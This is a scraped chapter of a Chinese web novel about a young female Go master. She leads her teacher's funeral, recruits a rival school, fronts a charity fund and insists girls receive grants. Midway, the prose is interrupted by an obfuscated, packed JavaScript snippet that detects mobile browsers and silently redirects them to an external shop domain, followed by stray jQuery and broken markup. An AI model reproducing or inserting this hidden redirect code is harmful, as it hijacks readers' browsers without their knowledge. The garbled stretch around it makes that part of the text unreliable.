文趣网 > 都市小说 > 她将执棋 > 77. 第 77 章
    灵柩抬出院门前,严争玉在棺前将瓦盆摔碎,意为“送碗”。

    让亡者带着饭碗上路,在那边不挨饿。

    瓦盆砸在地上,碎成三瓣。

    严争玉直起身,从苏晚棠手中接过师父的遗像。

    她迈出第一步,整个送葬的队伍动了。

    严争玉怀抱陈鸣谦的遗像,走在送葬队伍最前面。

    沈清歌和苏晚棠扶棺而行,一左一右,护在灵柩两翼。

    队伍过街口、拐角处,苏晚棠负责撒纸钱。

    纸钱好几次被风吹回来,糊在她自己身上。

    传说,风会吹向逝者思念的人。

    漫天白纸里,夹杂着街坊四邻的议论。

    “怎么是女孩子抱遗像?棋院没有个男人?”

    “怎么也该过继个侄子,让女徒弟走在前面,这像什么话。”

    “她可不是一般徒弟,人家现在是中正棋院的院长。”

    “那不还是个女的。”

    “嘘,人听见了。”

    这些议论飘进耳朵,严争玉既没有回头,也没有放慢脚步。

    ......

    在向贺其年要回一百万的奖金之前,严争玉先拨打了一个陌生的电话。

    电话响了几声,接通了。

    “喂?”男人的声音很谨慎

    “安老板,最近在哪发财?”

    电话那头沉默了一阵,“你是谁?”

    “你好,我是中正棋院的院长严争玉。”

    男人冷笑一声,“所以呢?”

    “听闻贵棋院营收惨淡,入不敷出,安老板最近很发愁?”

    “关你什么事?”安铎的语气抵触。

    严争玉没有再绕弯子,“我不是来幸灾乐祸,我是来谈合作的。”

    “我跟中正棋院的人,没什么好谈。”他几乎要挂断电话。

    “跟我没什么好谈,跟沈清歌呢?”

    电话那头迟疑了几秒钟,“你什么意思?”

    “沈清歌明天会宣布复出,重新加入中正棋院。”

    今天是陈鸣谦的头七。

    这个信息超出安铎的预料,他没有想到严争玉竟能和沈清歌和解。

    语气里的嘲讽淡了些,但还撑着架势:

    “你们的恩怨情仇关我什么事,说到底不过是一群懦夫。。”

    严争玉没有接他的话:

    “中正棋院如今生源过多,场地不够,人手不足。

    ”我打算重建棋院。在此期间,希望借用贵棋院的师资和场地。”

    停了一瞬,给出条件:

    “当然不会免费使用。按市中心写字楼每平米的价格支付租金。

    “至于老师的薪酬,在基础工资之外,按分成比例记账。你觉得如何?”

    “我不跟中正棋院的人谈合作。”

    “八年前的事,不是你的错,也不是沈清歌的错,罪魁祸首已经伏法,为什么还和自己过不去呢?”

    “连自己都能背叛的人,值得谁信任?”

    严争玉没有再劝,懒得再跟他费口舌,直接了断地说:

    “我不想,也没有义务消除你的偏见和固执。

    “但安铎,大量的学生和家长里,会不会有那么一两个,认同你的理念,欣赏你的为人?最后留在你的棋院。

    “你完全可以把这个机会当作一个引流窗口。横竖你没有损失。

    “你读过《红楼梦》吗?我觉得现在的书都很无聊,唯有此书值得看上一看。

    “里有一句话,我很喜欢:‘是真名士自风流。你们都是假清高,最可厌的。我们这会子腥的膻的大吃大嚼,回来却是锦心绣口。’”

    严争玉没有等安铎的回答,直接挂断电话。

    过了不久,严争玉正在打谱,手机屏幕亮起一行字。

    “只给你三个月。”

    严争玉嘴角勾起,将这个号码存为联系人。

    ......

    三天后,“中正围棋基金”成立,发布会在市中心贺氏集团旗下的酒店举行。

    现场比严争玉预想的要正式得多,媒体席坐得满满当当。

    围棋界有头有脸的人物基本上都来了,连几位退隐多年的老棋手都坐在前排。

    严争玉到场时,贺其年正与一位白发老者低声交谈,见她进来,微微颔首示意。

    她今天穿了身白色羊绒连衣裙,缀了一副小巧的珍珠耳钉。

    既不张扬,又足够得体。

    发布会流程进行得很快。

    基金会理事长,也是在围棋教育界德高望重的一位老先生,详细介绍了基金的宗旨:

    资助贫困地区有围棋天赋的少年儿童,提供训练、参赛乃至生活补助;

    同时设立专项课题,支持围棋古籍的整理、研究与出版。

    首期注资五千万元人民币,全部来自贺氏集团旗下慈善信托。

    理事长的声音洪亮,声音透过话筒传到现场的每一个角落:

    “这笔资金将独立运作,由专业团队管理,确保每一分钱都用在刀刃上。

    “我们特别邀请到严争玉五段,担任基金会的形象大使。

    “她不仅是优秀的职业棋手,其成长经历本身,就是对‘棋道不负有心人’最好的诠释。”

    凭借中日韩新锐对抗赛六连胜的战绩,严争玉被围棋协会破格从初段直升五段。

    掌声中,严争玉走上台。

    聚光灯打在她身上,聚集着台下无数道目光。

    “我不太会说漂亮话。棋是靠手下出来的,不是靠嘴说出来的。

    “这个基金也一样。我会参与资助项目的筛选,会去看孩子们下棋,会跟进古籍整理的进度。

    “我能承诺的只有一件事...

    她的目光扫过台下,

    “对得起这笔钱,对得起‘围棋’这两个字。”

    话音落下,掌声比刚才更热烈。

    几位老棋手交换着眼神,轻轻点头。

    贺其年站在侧幕阴影里,嘴角浮起一丝笑意。

    提问环节,媒体的焦点果然从八卦转向了基金本身。

    有记者问为何突然有此举措,严争玉答得简单:

    “棋给了我一切,我想让它走得更远。”

    又有记者追问贺其年:

    “贺总,如此大手笔的投入,是否与近期关于严小姐的某些舆论有关?”

    贺其年从阴影中走出来,站到严争玉身侧半步后。

    这个站位很微妙,既显示了支持,又不至于喧宾夺主。

    他举止得体,语气平和:

    “舆论每天都有,但围棋的传承,是百年大计。贺氏做这件事,是因为它值得做,也该有人来做。至于时机...”

    贺其年侧头看了她一眼,

    “严小姐刚为国家赢得荣誉,我认为这是最合适的时机,让更多人看到棋手除了胜负之外,还能做些什么。”

    这番话滴水不漏,既抬高了格局,又轻巧地将八卦话题拂开。

    几个原本想追问“夫妻关系”的记者,一时找不到切口。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665686|201938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>发布会结束后,紧接着是小型酒会。

    严争玉被几位老棋手围住,聊起古籍整理的具体细节。

    她偶尔提出一两个问题,都切中要害。

    一位研究古谱多年的老先生,忍不住赞叹:

    “严五段对古谱的见解,实在不像你这个年纪该有的。”

    严争玉微微欠身:“前辈过奖,只是平时多看了一些。”

    酒会进行到一半,基金会的工作人员牵着三个孩子走进来。

    他们都是首批拟资助的对象,从不同地方赶来参加仪式。

    看到清一色的男孩子...严争玉的表情瞬间冷了下来。

    孩子们穿着新买的衣服,拘谨地望着她。

    严争玉脸上恢复笑容,走到一个八九岁的男孩面前。

    男孩皮肤黝黑,手里紧紧攥着一个脏兮兮的笔记本。

    “会下棋吗?”严争玉问。

    男孩用力点头,把笔记本递过来。

    严争玉翻开,里面用铅笔密密麻麻画着棋谱,有些地方用橡皮擦了又改,纸面都薄了。

    棋力还很稚嫩,但有些落子的思路透着股野性的灵气,不按常理,自成一格。

    严争玉一页页看得仔细,她指着其中一页问:

    “这里,你为什么要走这步‘碰’?”

    男孩眼睛更亮了,磕磕巴巴地解释起来。

    他说他们村里有个老爷爷会下棋,这招是跟老爷爷学的,老爷爷说这叫“投石问路”。

    严争玉听完,合上笔记本,还给男孩。

    “想赢世界冠军吗?”

    男孩愣住,半天才拘束地点了下头。

    “那就记住今天的感觉,记住你想赢的心。然后,付出你的一切去换。”

    她直起身,转向工作人员,冷着脸说:

    “明天让你们理事长,来一趟中正棋院。”

    ......

    第二天一早,理事长如约而至。

    严争玉坐在院长办公室的老板椅上,开门见山:

    “为什么这一批资助对象里,没有女孩子。”

    理事长双手捧着茶杯,脸上带着和煦的笑容,恭敬谨慎地回答:

    “严院长,这个...我们从基金利用率和棋院运营的角度考虑过,女性棋手的成材率确实偏低,投入产出比...”

    “所以就不给机会了?”严争玉打断他。

    “不是不给机会,只是...”

    这位在围棋教育界德高望重的老者,满头大汗。

    他本来以为是一份清闲体面的差事,没想到这个年轻女孩那么难搞。

    “下一批三个名额里,必须有一个女孩。否则基金会拒绝接收。”

    理事长笑容僵在脸上,“严院长,这...”

    “还有,去裕德县,找一个叫顾青禾的女孩。”

    当初支教的事宜,被两场意外接连打断。

    后来,严争玉从贺其年那里得知小禾的信息。

    她话音未落,门口传来一个声音。

    “我觉得他说得没错。”

    一道熟悉的声音传来,严争玉抬头。

    见江寻靠在门框上,不知道站了多久。

    他穿着连帽卫衣,帽子半拉着,黑眼圈明显。

    严争玉看了他一眼,对理事长说:“我交代的事,先去办吧。”

    理事长擦了擦汗,起身告辞。

    会客室安静下来,严争玉看着江寻问:

    “你这话什么意思?”

    ......